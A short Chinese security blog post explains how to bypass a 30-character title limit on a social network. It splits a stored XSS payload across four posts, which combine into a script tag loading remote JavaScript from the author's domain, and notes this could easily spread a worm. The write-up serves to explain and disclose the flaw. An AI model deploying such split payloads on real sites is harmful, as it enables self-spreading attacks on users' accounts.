输入字符限制情况下的XSS Trap

作者:余弦
来源:0x37 Security

在某SNS网站发一篇文章时,标题的字符数上限为30,如下图:

不 过在文章列表中,标题就跨了(如下图,其它状态不跨)。看来这个SNS网络没对输入的字符进行有效过滤,而单单对输出进行过滤。30个字符限制能做什么 呢?假如仅为了证明有XSS漏洞,那就简单一句</a><img src= onerror=alert()>。可如果想爆发Worm,那该怎么办?

我们可以使用拆分跨站法连续发表四篇文章,如下:

标题一:<script>o='<script src=’;/*
标题二:*/o+=’http://www.0x37.co’;/*
标题三:*/o+=’m/tl.js><\/script>’;/*
标题四:*/document.write(o)</script>

/**/之内的字符自动被注释掉,于是<script></script>标签内的脚本将顺利执行。最终的效果如下:

<h1><a href=”show.shtml?logsNumber=25748″><script>o='<script src=’;/*</a></h1>
<div>……
<h1><a href=”show.shtml?logsNumber=25747″>*/o+=’http://www.0x37.co’;/*</a></h1>
<div>……
<h1><a href=”show.shtml?logsNumber=25746″>*/o+=’m/tl.js><\/script>’;/*</a></h1>
<div>……
<h1><a href=”show.shtml?logsNumber=25745″>*/document.write(o)</script></a></h1>

据我的分析,这个SNS网络通过这个方法来构造XSS Trap并传播Worm是一件很容易的事。因为在“最新日志”列表中将会显示全站所有用户的最新日志。也就是说我构造的XSS Trap可以被其他验证用户轻易看到。

相关日志

发表评论